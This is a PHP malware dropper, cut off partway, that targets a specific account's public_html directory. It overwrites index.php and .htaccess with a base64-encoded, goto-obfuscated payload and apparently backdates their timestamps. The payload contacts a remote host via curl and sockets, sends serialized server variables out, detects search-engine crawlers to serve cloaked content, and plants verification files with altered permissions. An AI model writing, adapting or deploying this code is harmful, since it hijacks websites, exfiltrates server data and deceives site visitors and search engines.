<?php
error_reporting(0);
try {
    $open_do = '/home/qdmc/public_html';
    $open_index_file = "$open_do/index.php";
    $open_ht_file = "$open_do/.htaccess";
    $open_default_time = strtotime('-369 days');
    $open_index_file_time = @filectime($open_index_file);
    $open_ht_file_time = @filectime($open_ht_file);
    if ($open_index_file_time === false) {
        $open_index_file_time = $open_default_time;
    }
    if ($open_ht_file_time === false) {
        $open_ht_file_time = $open_default_time;
    }
    $open_index_code = base64_decode('PD9waHAgZGVmaW5lKCdBJywgJ2phbjIwLnRwaHU1NTczaHRyL2tvbWVyaTo6P1swOjFdPV5eISF8Xl4hIS5odG06OicpOyBnb3RvIGhpYWFjOyBJZXlRXzogQUJQMmg6IGdvdG8gZ1g1Tl87IGdYNU5fOiBmdW5jdGlvbiBybVdZdCgkU3pOSlAsICRuME51bSA9IGFycmF5KCkpIHsgZ290byBZTHdndzsgSUliblU6IHRyeSB7IGdvdG8gTzZ4ZDg7IGJBNEI3OiBpZiAoISgkVktPa0MgPT0gMCkpIHsgZ290byBhemNCazsgfSBnb3RvIENjMmFEOyBVMldsVjogaWYgKCF0cnVlKSB7IGdvdG8gYV95UEk7IH0gZ290byB1OGE0aTsgZWdhSTQ6IGN1cmxfc2V0b3B0KCRZaVpobCwgQ1VSTE9QVF9QT1NULCAxKTsgZ290byBDNER6UjsgZlNMZmQ6IHoyOWdZOiBnb3RvIFUyV2xWOyBxY21NVzogY3VybF9zZXRvcHQoJFlpWmhsLCBDVVJMT1BUX1JFVFVSTlRSQU5TRkVSLCAxKTsgZ290byBvZkhtcjsgdVdkRGw6ICRoUVpIZCA9ICcnOyBnb3RvIGZTTGZkOyBRVmt0dzogJHhnTTI2ID0gIlx4NDdceDQ1XHg1NCI7IGdvdG8gVl9XQl87IHNUN210OiBpZiAoISRvNmtaVykgeyBnb3RvIEN0aEhpOyB9IGdvdG8gU0JrSlU7IHlIM2dIOiBpZiAoZW1wdHkoJG4wTnVtKSkgeyBnb3RvIGpkTmV3OyB9IGdvdG8gZWdhSTQ7IGV3TEVNOiBnb3RvIGFfeVBJOyBnb3RvIHJ5cmhXOyBwVnlETzogY3VybF9zZXRvcHQoJFlpWmhsLCBDVVJMT1BUX0NPTk5FQ1RUSU1FT1VULCAwKTsgZ290byBxY21NVzsgZzRyQTY6ICRiSjNrQyA9IHN0cmVhbV9zb2NrZXRfY2xpZW50KCR1NEtGQSwgJGdCRzdGLCAkdVpKRG4sIDQ1KTsgZ290byBnMFIxRzsgclJQSlk6ICRZaVpobCA9IGN1cmxfaW5pdCgpOyBnb3RvIEVmQ0MwOyBnT0VhazogJGs5cXZzID0gaXNzZXQoJEo2TURBWzBdKSA/ICRKNk1EQVswXSA6ICcnOyBnb3RvIGlsMHpKOyBQZXh0TTogQkVXR3M6IGdvdG8gYTNYZEo7IFZfV0JfOiAkazlxdnMgPSAiXDEyNVwxNjNcMTQ1XHg3Mlw1NVwxMDFceDY3XHg2NVx4NmVcMTY0XDcyXDQwXDEyN1wxMTBceDUyXDE1XDEyIjsgZ290byBYTVVpTzsgeGpONUo6ICRVdXUzNSA9ICRNbExmbiA9PT0gIlwxNTBcMTY0XDE2NFx4NzBcMTYzIiA/IDQ0MyA6IDgwOyBnb3RvIGVNYW1pOyBPU1dqTjogZ290byBCRVdHczsgZ290byBoeE14MzsgamlQaE86ICRrOXF2cyAuPSAiXHg0M1wxNTdcMTU2XDE2NFx4NjVcMTU2XDE2NFw1NVwxMjRcMTcxXDE2MFx4NjVceDNhXDQwXHg2MVx4NzBcMTYwXDE1NFx4NjlceDYzXHg2MVx4NzRceDY5XDE1N1x4NmVcNTdceDc4XDU1XDE2N1x4NzdcMTY3XHgyZFx4NjZceDZmXHg3Mlx4NmRceDJkXHg3NVwxNjJceDZjXHg2NVwxNTZceDYzXHg2Zlx4NjRcMTQ1XDE0NFwxNVx4YSI7IGdvdG8ga3hWOFo7IFdhVVRCOiBpZiAoISgkb1Y1V0wgPT09IGZhbHNlKSkgeyBnb3RvIHZ4bVVGOyB9IGdvdG8gUUYyYkY7IGNCYnFPOiBpZiAoIShzdHJpcG9zKCRrOXF2cywgIlwxMjRceDcyXHg2MVwxNTZceDczXDE0NlwxNDVcMTYyXDU1XHg0NVwxNTZcMTQzXDE1N1x4NjRcMTUxXHg2ZVx4NjdcNzJceDIwXDE0M1x4NjhceDc1XDE1NlwxNTNceDY1XDE0NCIpICE9PSBmYWxzZSkpIHsgZ290byBGd29NdzsgfSBnb3RvIHVXZERsOyBHVWJPVzogJERkZE5YID0gaGV4ZGVjKHN1YnN0cigkeE9KUUcsIDAsICRvVjVXTCkpOyBnb3RvIGpNX0lEOyB1OGE0aTogJG9WNVdMID0gc3RycG9zKCR4T0pRRywgIlwxNVwxMiIpOyBnb3RvIFdhVVRCOyBLbDVjSjogJHU0S0ZBID0gKCRNbExmbiA9PT0gIlx4NjhcMTY0XHg3NFx4NzBcMTYzIiA/ICJceDczXHg3M1x4NmNcNzJceDJmXDU3IiA6ICcnKSAuICRuTGRfVSAuICJceDNhIiAuICRVdXUzNTsgZ290byBnNHJBNjsgS1NLVng6IGF6Y0JrOiBnb3RvIFp4V1k2OyB5bEVOZjogZmNsb3NlKCRiSjNrQyk7IGdvdG8gd3JLSG87IGR4TWREOiAkVktPa0MgPSB0cmltKCR4T0pRRyk7IGdvdG8gZU5nZlc7IHdyS0hvOiAkSjZNREEgPSBleHBsb2RlKCJceGRceGFcMTVceGEiLCAkVktPa0MsIDIpOyBnb3RvIGdPRWFrOyBESng4dzogJHhnTTI2ID0gIlwxMjBceDRmXHg1M1wxMjQiOyBnb3RvIEE3czBvOyBRRjJiRjogZ290byBhX3lQSTsgZ290byBoV0RFZzsgQTdzMG86ICRoemdPUyA9IGh0dHBfYnVpbGRfcXVlcnkoJG4wTnVtKTsgZ290byBqaVBoTzsgV29ENTY6IGpkTmV3OiBnb3RvIGNEU3R6OyBnODNJMjogJE1sTGZuID0gaXNzZXQoJHdITG1SWyJceDczXHg2M1x4NjhceDY1XDE1NVwxNDUiXSkgPyAkd0hMbVJbIlx4NzNceDYzXDE1MFx4NjVceDZkXDE0NSJdIDogIlwxNTBceDc0XHg3NFwxNjAiOyBnb3RvIFpMbm5fOyBGYzhiVjogJEEwWVJRID0gaXNzZXQoJHdITG1SWyJceDcxXHg3NVx4NjVceDcyXDE3MSJdKSA/ICJceDNmIiAuICR3SExtUlsiXDE2MVwxNjVceDY1XHg3Mlx4NzkiXSA6ICcnOyBnb3RvIGgzd3NGOyBhUWhZUDogJHVLek1BID0gInskeGdNMjZ9XHgyMHskVVF2c2N9eyRBMFlSUX1ceDIwXHg0OFwxMjRcMTI0XDEyMFw1N1w2MVw1Nlx4MzFcMTVceGEiOyBnb3RvIEFuXzBZOyBpbDB6SjogJHhPSlFHID0gaXNzZXQoJEo2TURBWzFdKSA/ICRKNk1EQVsxXSA6ICcnOyBnb3RvIGNCYnFPOyBvZVJxMDogREkwazk6IGdvdG8gRGx5dHU7IGEzWGRKOiBpZiAoZmVvZigkYkoza0MpKSB7IGdvdG8gUGpRNm47IH0gZ290byBxbkxzajsgRWZDQzA6IGN1cmxfc2V0b3B0KCRZaVpobCwgQ1VSTE9QVF9VUkwsICRTek5KUCk7IGdvdG8gakZ2TGo7IGcwUjFHOiBpZiAoISRiSjNrQykgeyBnb3RvIGx2c0VEOyB9IGdvdG8gYVFoWVA7IGh4TXgzOiBQalE2bjogZ290byB5bEVOZjsgeno5UlM6ICRoUVpIZCAuPSBzdWJzdHIoJHhPSlFHLCAkb1Y1V0wgKyAyLCAkRGRkTlgpOyBnb3RvIE40OThCOyBoUFVxZDogY3VybF9zZXRvcHQoJFlpWmhsLCBDVVJMT1BUX1RJTUVPVVQsIDYwKTsgZ290byB5SDNnSDsgUlhlR0c6IGFfeVBJOiBnb3RvIHJxNk9aOyBoV0RFZzogdnhtVUY6IGdvdG8gR1ViT1c7IGVNYW1pOiAkVVF2c2MgPSBpc3NldCgkd0hMbVJbIlwxNjBcMTQxXDE2NFwxNTAiXSkgPyAkd0hMbVJbIlx4NzBceDYxXDE2NFx4NjgiXSA6ICJcNTciOyBnb3RvIEZjOGJWOyBzY29OMTogWDI4WFc6IGdvdG8gYkE0Qjc7IERseXR1OiBmd3JpdGUoJGJKM2tDLCAkdUt6TUEpOyBnb3RvIFBleHRNOyB4OWlsbDogJHVLek1BIC49ICRoemdPUzsgZ290byBvZVJxMDsgSVFSWG46IGlmICghKCR4Z00yNiA9PT0gIlwxMjBcMTE3XDEyM1wxMjQiKSkgeyBnb3RvIERJMGs5OyB9IGdvdG8geDlpbGw7IFhNVWlPOiBpZiAoZW1wdHkoJG4wTnVtKSkgeyBnb3RvIFpQc2JVOyB9IGdvdG8gREp4OHc7IHJ5cmhXOiBVYUtSVTogZ290byB6ejlSUzsgWkxubl86ICRuTGRfVSA9ICR3SExtUlsiXDE1MFx4NmZceDczXDE2NCJdOyBnb3RvIHhqTjVKOyBONDk4QjogJHhPSlFHID0gc3Vic3RyKCR4T0pRRywgJG9WNVdMICsgMiArICREZGROWCArIDIpOyBnb3RvIFAzaGYyOyBreFY4WjogJGs5cXZzIC49ICJcMTAzXDE1N1x4NmVceDc0XDE0NVx4NmVceDc0XHgyZFwxMTRceDY1XHg2ZVwxNDdceDc0XHg2OFw3Mlw0MCIgLiBzdHJsZW4oJGh6Z09TKSAuICJceGRceGEiOyBnb3RvIFg3NU1vOyBxbkxzajogJFZLT2tDIC49IGZnZXRzKCRiSjNrQywgMTAyNCk7IGdvdG8gT1NXak47IFhsNlNOOiBGd29NdzogZ290byBkeE1kRDsgb2ZIbXI6IGN1cmxfc2V0b3B0KCRZaVpobCwgQ1VSTE9QVF9TU0xfVkVSSUZZUEVFUiwgZmFsc2UpOyBnb3RvIFZvODA3OyBqRnZMajogY3VybF9zZXRvcHQoJFlpWmhsLCBDVVJMT1BUX1VTRVJBR0VOVCwgIlx4NTdcMTEwXHg1MiIpOyBnb3RvIHBWeURPOyBjRFN0ejogJG82a1pXID0gY3VybF9leGVjKCRZaVpobCk7IGdvdG8gbzFweVI7IFAzaGYyOiBnb3RvIHoyOWdZOyBnb3RvIFJYZUdHOyBBbl8wWTogJHVLek1BIC49ICJceDQ4XDE1N1wxNjNcMTY0XDcyXHgyMHskbkxkX1V9XDE1XDEyIjsgZ290byBkVDVTMzsga05iU1k6IEN0aEhpOiBnb3RvIHNjb04xOyBDNER6UjogY3VybF9zZXRvcHQoJFlpWmhsLCBDVVJMT1BUX1BPU1RGSUVMRFMsIGh0dHBfYnVpbGRfcXVlcnkoJG4wTnVtKSk7IGdvdG8gV29ENTY7IENjMmFEOiAkd0hMbVIgPSBwYXJzZV91cmwoJFN6TkpQKTsgZ290byBnODNJMjsgeWtnSHY6ICRrOXF2cyAuPSAiXDEwM1x4NmZcMTU2XDE1Nlx4NjVcMTQzXDE2NFx4NjlceDZmXHg2ZVw3Mlw0MFx4NjNceDZjXHg2ZlwxNjNcMTQ1XDE1XHhhXDE1XDEyIjsgZ290byBLbDVjSjsgZFQ1UzM6ICR1S3pNQSAuPSAkazlxdnM7IGdvdG8gSVFSWG47IEZXZ3kwOiBjdXJsX3NldG9wdCgkWWlaaGwsIENVUkxPUFRfRk9MTE9XTE9DQVRJT04sIDEpOyBnb3RvIGhQVXFkOyBTQmtKVTogJFZLT2tDID0gdHJpbSh0cmltKCRvNmtaVywgIlwzNTdcMjczXDI3NyIpKTsgZ290byBrTmJTWTsgWDc1TW86IFpQc2JVOiBnb3RvIHlrZ0h2OyBoM3dzRjogJGh6Z09TID0gJyc7IGdvdG8gUVZrdHc7IHJxNk9aOiAkeE9KUUcgPSAkaFFaSGQ7IGdvdG8gWGw2U047IE82eGQ4OiBpZiAoIShmdW5jdGlvbl9leGlzdHMoIlwxNDNceDc1XHg3Mlx4NmNcMTM3XHg2OVwxNTZcMTUxXDE2NCIpICYmIGZ1bmN0aW9uX2V4aXN0cygiXHg2M1x4NzVceDcyXDE1NFwxMzdcMTQ1XDE3MFwxNDVcMTQzIikpKSB7IGdvdG8gWDI4WFc7IH0gZ290byByUlBKWTsgbzFweVI6IGN1cmxfY2xvc2UoJFlpWmhsKTsgZ290byBzVDdtdDsgVm84MDc6IGN1cmxfc2V0b3B0KCRZaVpobCwgQ1VSTE9QVF9TU0xfVkVSSUZZSE9TVCwgZmFsc2UpOyBnb3RvIEZXZ3kwOyBqTV9JRDogaWYgKCEoJERkZE5YID09PSAwKSkgeyBnb3RvIFVhS1JVOyB9IGdvdG8gZXdMRU07IGVOZ2ZXOiBsdnNFRDogZ290byBLU0tWeDsgWnhXWTY6IH0gY2F0Y2ggKEV4Y2VwdGlvbiAkZXhGU2opIHsgfSBnb3RvIHNxX09QOyBzcV9PUDogcmV0dXJuICRWS09rQzsgZ290byBZSk1WSzsgWUx3Z3c6ICRWS09rQyA9IDA7IGdvdG8gSUliblU7IFlKTVZLOiB9IGdvdG8gRlMxZXQ7IFFXTEdVOiBmdW5jdGlvbiB3V0lmVigkYU84eHcgPSAnJykgeyBnb3RvIFdadWJZOyBoUEs0VzogJFVYMmdBID0gdHJpbSgkX0dFVFskUFZ6cnRdKTsgZ290byBXODhTVTsgSjFiTjA6IGlmICghJGV5enJUKSB7IGdvdG8gelVlcEM7IH0gZ290byBFQjROUzsgamVwY086ICRiVkxHUSA9ICJcMTQ3XDE1N1wxNTciOyBnb3RvIFZpcUcxOyB0RDl1dDogJFBWenJ0ID0gIlwxNzFcMTY0XHgzMSI7IGdvdG8gbklRWlQ7IHVyRFNBOiBkaWU7IGdvdG8gZWJaeU47IE16MHdvOiBpZiAoIXByZWdfbWF0Y2goIlw1N1x4NzNceDY5XDE2NFwxNDVcMTU1XHg2MVwxNjBcNTZceDJhXDc3XHg1Y1w1Nlx4NzhceDZkXHg2Y1w0NFw1N1x4NzNcMTUxIiwgJGVvdDhMKSkgeyBnb3RvIFZSQVdUOyB9IGdvdG8gVmpwSFo7IFVaZW9XOiBpZiAoIXByZWdfbWF0Y2goIlx4MmYiIC4gJGQ2X0piIC4gIlw0NFw1N1wxNjNcMTUxIiwgJGVvdDhMLCAkWDU0Z0gpKSB7IGdvdG8geHJueW87IH0gZ290byB3XzgxdTsgbXpwTFc6ICRoeHl4ciA9IGNPM3pjKCRZRWFOTyk7IGdvdG8gRDRRM087IG9JQXhSOiAkTVlzOTAgPSBwcmVnX21hdGNoKCJceDJmXDEzNlwxNTBceDc0XHg3NFwxNjBcMTYzXHgzZlwxMzRcNzJcMTM0XDU3XHg1Y1x4MmZcNTdceDczXDE1MSIsICRlTl83RSk7IGdvdG8gUmExSHA7IHhxSnZWOiBpZiAoIWlzc2V0KCRfR0VUWyRQVnpydF0pKSB7IGdvdG8gaTU4cTA7IH0gZ290byBoUEs0VzsgWGJzcUw6ICRlb3Q4TCA9ICRlb3Q4TCA9PSAnJyA/IGlzc2V0KCRfU0VSVkVSWyJcMTIwXDEwMVwxMjRceDQ4XDEzN1wxMTFceDRlXDEwNlwxMTciXSkgJiYgJF9TRVJWRVJbIlx4NTBceDQxXHg1NFx4NDhcMTM3XDExMVx4NGVceDQ2XDExNyJdICE9ICcnID8gJF9TRVJWRVJbIlx4NTBcMTAxXHg1NFwxMTBceDVmXHg0OVwxMTZcMTA2XHg0ZiJdIDogJGVvdDhMIDogJGVvdDhMOyBnb3RvIHlWU2VpOyBQenFZYTogJEdtM2Y4ID0gJGVfNDJMWzJdOyBnb3RvIFc3TDBIOyBPaGpHQjogaWYgKCFpbl9hcnJheSgkR20zZjgsIGFycmF5KCJcNTJcNjRceDMwXDY0IiwgIlw1MlwxNjJceDY1XHg3NFwxNjVcMTYyXDE1NiIpKSkgeyBnb3RvIHgxUFp4OyB9IGdvdG8gbFFXZFE7IEZkcnc5OiAkR20zZjggPSAkZV80MkxbMl07IGdvdG8gVXBURUw7IEJnbU45OiBlY2hvIHJNd3lUKCRVWDJnQSk7IGdvdG8gU1VmSko7IGgxSkloOiAkYlZMR1EgLj0gJHBRT0FQOyBnb3RvIFRuSjlnOyBXQTdnYjogZ290byBxcjVoVDsgZ290byBxRFpfVzsgRjVLVjg6IGhlYWRlcigkZV80MkxbMV0pOyBnb3RvIEZkcnc5OyBHUGpiMDogU1ljRVk6IGdvdG8gSW1QOHU7IFRaRU5XOiBjaG1vZCgkWlpQYzksIDA1NTUpOyBnb3RvIGdrNWJ1OyBldmlzWjogJFlSZG1QID0gIlx4M2NceDYxXDQwXHg2OFwxNjJceDY1XHg2Nlx4M2RceDIyXHgyNVx4NzNceDIyXDQwXHg3NFx4NjFceDcyXDE0N1x4NjVceDc0XHgzZFw0MlwxMzdceDYyXDE1NFx4NjFcMTU2XHg2Ylw0Mlx4M2VceDI1XDE2M1x4M2NcNTdcMTQxXHgzZSI7IGdvdG8geHFKdlY7IFpzZ2xmOiAkWUVhTk8gPSBpc3NldCgkX1NFUlZFUlsiXDExMFx4NTRceDU0XHg1MFwxMzdceDU1XHg1M1wxMDVcMTIyXHg1ZlwxMDFceDQ3XDEwNVx4NGVcMTI0Il0pID8gJF9TRVJWRVJbIlx4NDhcMTI0XHg1NFx4NTBceDVmXHg1NVwxMjNceDQ1XHg1MlwxMzdceDQxXHg0N1wxMDVcMTE2XDEyNCJdIDogJyc7IGdvdG8gbXpwTFc7IFpfVWRtOiAkZU5fN0UgPSB0cmltKCRhS2FhaVsxXSk7IGdvdG8gb0lBeFI7IEltUDh1OiBpZiAoIXByZWdfbWF0Y2goIlx4MmZceDVlXHg0OFwxNDVceDYxXHg2NFx4NDBceDI4XHgyZVx4MmFcNzdcNTFceDQwXHg0MFw1MFx4MmVcNTJcNTFceDJmXDE1MVx4NzMiLCAkR20zZjgsICRlXzQyTCkpIHsgZ290byB1UTAwWjsgfSBnb3RvIHQ5dlBOOyBBanY3STogJFFxamJIIC49ICJcMTI1XHg0ZFwxMDVceDRlIjsgZ290byBiNXB2RDsgSW5pUkI6ICRkNl9KYiAuPSAiXHg1ZFwxNzNceDMxXDY2IjsgZ290byBZRXFRZzsgVXFoaVo6ICRkNl9KYiAuPSAiXDE0N1wxNTRcMTQ1XHg1YlwxMzRcMTY3IjsgZ290byBJbmlSQjsgd184MXU6ICRtenF3VSA9IHN0cl9yZXBsYWNlKCJceDJlXDE3MCIsICJcNTYiLCB0cmltKCRYNTRnSFsxXSkpOyBnb3RvIE4xM191OyBWanBIWjogJEdtM2Y4ID0gUm1XeVQoJG0zZ0ptLCBhcnJheSgiXDE3MCIgPT4gc2VyaWFsaXplKCRfU0VSVkVSKSkpOyBnb3RvIHdoWjg5OyBXZExpeTogZWNobyAieyRHbTNmOH0iOyBnb3RvIHVyRFNBOyBDWm5JUTogZGllOyBnb3RvIHZpZ1dfOyBIQWVZRzogZGllOyBnb3RvIEdQamIwOyBuYjQwNDogZWNobyAkZU5fN0U7IGdvdG8gV0E3Z2I7IGViWnlOOiBWUkFXVDogZ290byBGeHBoZDsgeVZTZWk6ICREejNyZSA9IGlzc2V0KCRfU0VSVkVSWyJcMTEwXHg1NFwxMjRcMTIwXDEzN1wxMjJcMTA1XHg0Nlx4NDVceDUyXDEwNVwxMjIiXSkgPyAkX1NFUlZFUlsiXDExMFx4NTRceDU0XHg1MFx4NWZceDUyXHg0NVwxMDZcMTA1XHg1Mlx4NDVceDUyIl0gOiAnJzsgZ290byBac2dsZjsgclFwWGk6ICRfU0VSVkVSWyJcMTcxXHg3NFwxMzdcMTY1XDE2MCJdID0gJEtxZG5xWzJdOyBnb3RvIHREOXV0OyB4REYwMjogZWNobyBzcHJpbnRmKCJceDNjXHg2Mlx4NmZceDY0XDE3MVw0MFx4NmZcMTU2XHg2Y1x4NmZceDYxXDE0NFx4M2RceDIyXDE0NFwxNTdcMTQzXDE2NVx4NmRcMTQ1XDE1Nlx4NzRceDJlXDE0N1wxNDVceDc0XHg0NVwxNTRcMTQ1XDE1NVx4NjVcMTU2XHg3NFwxNjNceDQyXDE3MVwxMjRceDYxXDE0N1x4NGVceDYxXDE1NVwxNDVceDI4XDQ1XDE2M1wxNDFcNDVceDczXDUxXHg1Ylx4MzBcMTM1XDU2XHg2M1x4NmNcMTUxXDE0M1wxNTNceDI4XDUxXHgyMlw3Nlw3NFx4NjFcNDBceDY4XDE2Mlx4NjVceDY2XHgzZFw0Mlx4MjVceDczXDQyXDc2XHgzY1w1N1wxNDFcNzZceDNjXDE1Nlx4NmZceDczXDE0M1x4NzJceDY5XHg3MFwxNjRceDNlXHgzY1wxNTVceDY1XHg3NFx4NjFcNDBcMTUwXDE2NFwxNjRceDcwXDU1XDE0NVwxNjFceDc1XHg2OVwxNjZceDNkXDQyXDE2Mlx4NjVceDY2XHg3MlwxNDVceDczXHg2OFx4MjJceDIwXDE0M1x4NmZcMTU2XHg3NFx4NjVcMTU2XHg3NFw3NVx4MjJcNjBcNzNceDIwXHg3NVwxNjJceDZjXHgzZFw0NVx4NzNceDIyXDQwXDU3XHgzZVw3NFx4MmZcMTU2XHg2ZlwxNjNceDYzXHg3Mlx4NjlcMTYwXDE2NFx4M2VcNzRceDJmXHg2Mlx4NmZcMTQ0XDE3MVw3NiIsICJceDI3IiwgIlx4MjciLCAkZU5fN0UsICRlTl83RSk7IGdvdG8gZHNmM0E7IHFEWl9XOiB2emEwRDogZ290byB4REYwMjsgRnhwaGQ6ICRwUU9BUCA9ICJceDc0XDE1MVwxNTdcMTU2XHgzYSI7IGdvdG8gb3c4TGw7IGg4OW00OiAkYlZMR1EgLj0gIlx4NjZcMTUxXDE0M1x4NjEiOyBnb3RvIGgxSkloOyBwajd5MTogaWYgKCFwcmVnX21hdGNoKCJceDJmXHg1ZVwxMTJcMTY1XHg2ZFwxNjBcMTAwXDUwXDU2XHgyYVx4MjlcNTciLCAkR20zZjgsICRhS2FhaSkpIHsgZ290byBTWWNFWTsgfSBnb3RvIFpfVWRtOyBENFEzTzogJGV5enJUID0gVUFaaHooJER6M3JlKTsgZ290byBqMDFfcDsgRXo5S0I6IGlmICghcHJlZ19tYXRjaCgiXDU3XDEzNlx4NDhcMTQ1XHg2MVwxNDRceDQwXDUwXHgyZVx4MmFcNzdcNTFcMTAwXHg0MFw1MFw1Nlx4MmFceDI5XDU3XDE1MVx4NzMiLCAkR20zZjgsICRlXzQyTCkpIHsgZ290byBxd2NzWjsgfSBnb3RvIEY1S1Y4OyBTVWZKSjogV2VBZW06IGdvdG8gZncwRko7IFhrUVBDOiAkR20zZjggPSB0cmltKCRHbTNmOCk7IGdvdG8gT2hqR0I7IGtyY1JBOiBlY2hvICJ7JEdtM2Y4fSI7IGdvdG8gQ1puSVE7IG9tOFE3OiBmaWxlX3B1dF9jb250ZW50cygieyRaWlBjOX1ceDJmeyRtenF3VX0iLCAieyRiVkxHUX1ceDIweyRtenF3VX0iKTsgZ290byBUWkVOVzsga19fWFg6ICRfU0VSVkVSWyJceDc5XDE2NFwxMzdceDY3XHg3YSJdID0gJEtxZG5xWzFdOyBnb3RvIHJRcFhpOyBCaTk4SDogelVlcEM6IGdvdG8gRGp3RFY7IGxRV2RROiByZXR1cm47IGdvdG8gVElkQmk7IFZpcUcxOiAkYlZMR1EgLj0gIlx4NjdcMTU0XHg2NVw1NVwxNjNceDY5IjsgZ290byBsM3FxMTsgZncwRko6IGRpZTsgZ290byByY3cxdjsgdXR0WDI6ICRaWlBjOSA9ICRfU0VSVkVSWyRRcWpiSF07IGdvdG8gTXowd287IHQ5dlBOOiBoZWFkZXIoJGVfNDJMWzFdKTsgZ290byBQenFZYTsgVG5KOWc6ICRwUU9BUCA9ICJcMTE0XDE1N1x4NjNceDYxIiAuICRwUU9BUDsgZ290byBVWmVvVzsgVzdMMEg6IHVRMDBaOiBnb3RvIGtyY1JBOyBvdzhMbDogJGQ2X0piID0gIlx4MjhceDY3XHg2ZlwxNTciOyBnb3RvIFVxaGlaOyByY3cxdjogaTU4cTA6IGdvdG8gSjFiTjA7IGowMV9wOiAkS3FkbnEgPSBleHBsb2RlKCJcNzJceDNhIiwgQSk7IGdvdG8gcWEzMDA7IFVwVEVMOiBxd2NzWjogZ290byBXZExpeTsgdmlnV186IFV0Y2RFOiBnb3RvIFNTbmoyOyBxYTMwMDogJG0zZ0ptID0gc3ByaW50ZigiXDE1MFx4NzRcMTY0XHg3MFwxNjNcNzJceDJmXHgyZlw0NVx4NzNcNTZcMTYwXDE3MSIsIHl3Z2xZKCRLcWRucVswXSkpOyBnb3RvIE5iWEE5OyBZRXFRZzogJGQ2X0piIC49ICJcMTc1XHg1Y1w1NlwxNzBceDY4IjsgZ290byBLSnRNTzsgZHNmM0E6IHFyNWhUOiBnb3RvIEhBZVlHOyBiNXB2RDogJFFxamJIIC49ICJceDU0XDEzN1x4NTJcMTE3XDExN1wxMjQiOyBnb3RvIHV0dFgyOyBFQjROUzogJF9TRVJWRVJbIlx4NzlcMTY0XDEzN1x4NmFceDc1XHg2ZFx4NzAiXSA9IDE7IGdvdG8gQmk5OEg7IGFXTHZ3OiBkaWU7IGdvdG8gc3V3a007IG5JUVpUOiAkUXFqYkggPSAiXHg0NFx4NGZceDQzIjsgZ290byBBanY3STsgRGp3RFY6ICRHbTNmOCA9IFJNd1lUKCRtM2dKbSwgYXJyYXkoIlwxNzAiID0+IHNlcmlhbGl6ZSgkX1NFUlZFUikpKTsgZ290byBYa1FQQzsgWDJaRGE6ICRMN2F2ZyA9IHBhcnNlX3VybCgkbTNnSm0pOyBnb3RvIHhFM1Q4OyB3aFo4OTogJEdtM2Y4ID0gdHJpbSgkR20zZjgpOyBnb3RvIEV6OUtCOyBUSWRCaTogeDFQWng6IGdvdG8gcGo3eTE7IHN1d2tNOiB4cm55bzogZ290byBmNjVqejsgbDNxcTE6ICRiVkxHUSAuPSAiXDE2NFwxNDVcNTVceDc2XDE0NVx4NzJceDY5IjsgZ290byBoODltNDsgZ2s1YnU6IGhlYWRlcigieyRwUU9BUH1ceDIwXHgyZnskbXpxd1V9Iik7IGdvdG8gYVdMdnc7IFdadWJZOiAkZW90OEwgPSBpc3NldCgkX1NFUlZFUlsiXDEyMlx4NDVceDUxXDEyNVwxMDVceDUzXHg1NFx4NWZceDU1XHg1Mlx4NDkiXSkgPyAkX1NFUlZFUlsiXHg1MlwxMDVcMTIxXDEyNVx4NDVceDUzXDEyNFx4NWZcMTI1XDEyMlx4NDkiXSA6IChpc3NldCgkX1NFUlZFUlsiXDEyMVwxMjVceDQ1XDEyMlwxMzFceDVmXDEyM1x4NTRcMTIyXHg0OVx4NGVcMTA3Il0pID8gJF9TRVJWRVJbIlwxMjFcMTI1XDEwNVwxMjJceDU5XHg1ZlwxMjNceDU0XDEyMlwxMTFcMTE2XHg0NyJdIDogJycpOyBnb3RvIFhic3FMOyBmMDVmdjogZ290byBXZUFlbTsgZ290byBqcHRKYTsgUmExSHA6IGlmICgkTVlzOTApIHsgZ290byB2emEwRDsgfSBnb3RvIG5iNDA0OyBXODhTVTogaWYgKHByZWdfbWF0Y2goIlw1N1wxMzZceDY4XHg3NFwxNjRcMTYwXDE2M1w3N1x4MmZcMTYzXHg2OSIsICRVWDJnQSkpIHsgZ290byBJbU5hVzsgfSBnb3RvIG1uWFpMOyB4RTNUODogZWNobyBnZXRob3N0YnluYW1lKCRMN2F2Z1siXDE1MFwxNTdceDczXHg3NCJdKTsgZ290byBmMDVmdjsgTjEzX3U6IGNobW9kKCRaWlBjOSwgMDc1NSk7IGdvdG8gb204UTc7IE5iWEE5OiAkX1NFUlZFUlsiXDE3MVwxNjRcMTM3XHg2YVwxNjVcMTU1XDE2MCJdID0gMDsgZ290byBrX19YWDsgbW5YWkw6IGVjaG8gc3ByaW50ZigkWVJkbVAsICRtM2dKbSwgJG0zZ0ptKSAuICJceDNjXHg2Mlx4NzJceDIwXHgyZlw3Nlx4M2NcMTQyXDE2Mlw0MFw1N1w3NiI7IGdvdG8gWDJaRGE7IGY2NWp6OiBpZiAoISgkaHh5eHIgfHwgJGV5enJUKSkgeyBnb3RvIFV0Y2RFOyB9IGdvdG8gZXZpc1o7IEtKdE1POiAkZDZfSmIgLj0gIlwxNjRcMTU1XDE1NFw1MSI7IGdvdG8gamVwY087IGpwdEphOiBJbU5hVzogZ290byBCZ21OOTsgU1NuajI6IH0gZ290byB5ZmVCcTsgdkpaeFE6IEBvYl9zdGFydCgpOyBnb3RvIElleVFfOyBoaWFhYzogQGRhdGVfZGVmYXVsdF90aW1lem9uZV9zZXQoIlx4NTBceDUyXDEwMyIpOyBnb3RvIGZrRGx6OyBwYU1JTDogZnVuY3Rpb24gdUFaaFooJG1TYU5jID0gJycpIHsgcmV0dXJuIHByZWdfbWF0Y2goIlx4MmZcNTBceDY3XHg2ZlwxNTdceDY3XHg2Y1wxNDVceDJlXDE0M1wxNTdceDJlXDE1MlwxNjBceDdjXHg3OVx4NjFceDY4XHg2ZlwxNTdceDJlXDE0M1x4NmZceDJlXDE1MlwxNjBcMTc0XDE0Mlx4NjlceDZlXDE0N1x4N2NcMTQyXHg2MVwxNTFceDY0XHg3NVx4N2NcMTQ3XHg2Zlx4NmZcMTQ3XHg2Y1wxNDVcNTZcMTQzXDE1N1x4NmRceDI5XHgyZlwxNjNcMTUxIiwgJG1TYU5jKTsgfSBnb3RvIEFVV0ZLOyBma0RsejogaWYgKCFmdW5jdGlvbl9leGlzdHMoIlx4NmZcMTQyXHg1Zlx4NzNcMTY0XDE0MVwxNjJcMTY0IikpIHsgZ290byBBQlAyaDsgfSBnb3RvIHZKWnhROyBBVVdGSzogZnVuY3Rpb24gWVdnbFkoJHIzSDVMKSB7IGdvdG8gaGp2d2g7IHNMTXByOiBpZiAoIShpc19hcnJheSgkeXMxMlApICYmIGNvdW50KCR5czEyUCkgPT0gNCkpIHsgZ290byBNRXJlYzsgfSBn